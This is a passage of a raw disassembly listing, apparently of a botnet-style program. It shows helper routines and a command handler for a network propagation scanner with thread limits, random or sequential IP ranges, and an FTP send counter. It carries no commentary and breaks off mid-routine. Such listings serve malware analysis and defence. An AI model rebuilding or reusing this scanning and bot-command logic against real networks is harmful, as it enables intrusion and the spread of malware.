arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4225D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4225F0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_4225F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422620	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422620	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422640	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401EF1
		add	esp, 8
		retn	8
sub_422640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422670	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422690	proc near		; CODE XREF: sub_4018F7j
		mov	eax, [ecx]
		retn
sub_422690	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226B0	proc near		; CODE XREF: sub_4019BAj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401839
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4226B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_40163Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A8C
		pop	ecx
		retn	4
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422700	proc near		; CODE XREF: sub_401E7Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FB9
		pop	ecx
		retn	4
sub_422700	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422720	proc near		; CODE XREF: sub_401A3Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42273B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42273B:				; CODE XREF: sub_422720+11j
		retn
sub_422720	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_40203Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422750
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422791
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401681


loc_422791:				; CODE XREF: sub_422750+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227E0	proc near		; CODE XREF: sub_401EF1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4227E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422821
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014D3


loc_422821:				; CODE XREF: sub_4227E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4227E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422850	proc near		; CODE XREF: sub_401A8Cj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019C9
		retn
sub_422850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422870	proc near		; CODE XREF: sub_401FB9j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422870	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422890	proc near		; CODE XREF: sub_401681j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014D3
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422890	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_4019C9j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A82
		test	[esp+4+arg_0], 1
		jz	short loc_4228D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4228D8:				; CODE XREF: sub_4228C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4228C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4228F0	proc near		; CODE XREF: sub_401AF5j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4228F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D7F8B, offset aAsn ; "asn"
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4228F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422B40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422C0A
		push	3
		call	sub_40148D
		add	esp, 4
		test	eax, eax
		jle	short loc_422BDD
		push	3
		call	sub_401DA2
		mov	eax, dword_50DB50[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422BDD:				; CODE XREF: sub_422B40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422C0A:				; CODE XREF: sub_422B40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422CB0
		mov	edi, dword_4D8370
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4232BD
		mov	edx, dword_44964F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422CB0:				; CODE XREF: sub_422B40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422D30
		push	eax
		push	3
		call	sub_401DA7
		add	esp, 8
		test	eax, eax
		jle	short loc_422D05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D05:				; CODE XREF: sub_422B40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D30:				; CODE XREF: sub_422B40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_422DDE
		push	3
		call	sub_40148D
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	2
		push	eax
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422F56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_422DDE:				; CODE XREF: sub_422B40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_445420
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422E69
		mov	eax, offset dword_445420


loc_422E55:				; CODE XREF: sub_422B40+327j
		cmp	[eax+8], edi
		jb	short loc_422E5F
		mov	[esp+7A0h+var_78D], 1


loc_422E5F:				; CODE XREF: sub_422B40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422E55


loc_422E69:				; CODE XREF: sub_422B40+30Ej
		mov	ebp, off_511C00
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5FC011
		mov	eax, dword_445420
		add	esp, 8
		test	eax, eax
		jz	short loc_422ECF
		mov	edi, offset dword_445428


loc_422E8F:				; CODE XREF: sub_422B40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5FC011
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422E8F


loc_422ECF:				; CODE XREF: sub_422B40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5FC011
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422F29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	0
		call	sub_40152D
		add	esp, 10h


loc_422F29:				; CODE XREF: sub_422B40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422F39:				; CODE XREF: sub_422B40+1C0j
					; sub_422B40+1EBj ...
		xor	al, al


loc_422F3B:				; CODE XREF: sub_422B40+98j
					; sub_422B40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422F56:				; CODE XREF: sub_422B40+26Ej
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_423033
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_423043
; ---------------------------------------------------------------------------


loc_423033:				; CODE XREF: sub_422B40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_423043
		mov	[esp+7A0h+var_658], 3Ch


loc_423043:				; CODE XREF: sub_422B40+4F1j
					; sub_422B40+4F6j
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_42309C
		mov	[esp+7A0h+var_654], eax


loc_42309C:				; CODE XREF: sub_422B40+553j
		mov	eax, dword_445420
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42316C
		mov	ebp, offset dword_445420
		jmp	short loc_4230C2
; ---------------------------------------------------------------------------


loc_4230BF:				; CODE XREF: sub_422B40+602j
		or	ebx, 0FFFFFFFFh


loc_4230C2:				; CODE XREF: sub_422B40+57Dj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_4230EC:				; CODE XREF: sub_422B40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423110
		test	al, al
		jz	short loc_42310C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423110
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_4230EC


loc_42310C:				; CODE XREF: sub_422B40+5B6j
		xor	eax, eax
		jmp	short loc_423114
; ---------------------------------------------------------------------------


loc_423110:				; CODE XREF: sub_422B40+5B2j
					; sub_422B40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423114:				; CODE XREF: sub_422B40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42314A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_4230BF
		jmp	short loc_423169
; ---------------------------------------------------------------------------


loc_42314A:				; CODE XREF: sub_422B40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_445420[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423169:				; CODE XREF: sub_422B40+608j
		or	ebx, 0FFFFFFFFh


loc_42316C:				; CODE XREF: sub_422B40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42318A
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4232A5
; ---------------------------------------------------------------------------


loc_42318A:				; CODE XREF: sub_422B40+635j
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset dword_4447F8
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013ED
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423267
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423396
; ---------------------------------------------------------------------------


loc_423267:				; CODE XREF: sub_422B40+688j
		push	offset dword_4455EC
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset off_4455E8
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset off_4455E4
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4232A5:				; CODE XREF: sub_422B40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4232BD:				; CODE XREF: sub_422B40+132j
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_4232C4:				; CODE XREF: sub_422B40+735j
					; sub_422B40+745j ...
		mov	ecx, dword_4D808D
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		call	near ptr 71AB951Eh
		nop
		push	offset off_4455E8
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_4455EC
		call	sub_4013ED
		test	eax, eax
		jz	short loc_42338B
		push	offset off_4455E8
		mov	ecx, esi
		call	sub_4013ED
		mov	ebp, dword_511A9C
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42337E


loc_423362:				; CODE XREF: sub_422B40+83Cj
		test	eax, eax
		jz	short loc_42337E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423362


loc_42337E:				; CODE XREF: sub_422B40+820j
					; sub_422B40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423396
; ---------------------------------------------------------------------------


loc_42338B:				; CODE XREF: sub_422B40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423396:				; CODE XREF: sub_422B40+722j
					; sub_422B40+849j
		mov	edx, dword_4D808D
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4233F8
		mov	eax, offset aSequential	; "sequential"


loc_4233F8:				; CODE XREF: sub_422B40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:445402h[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
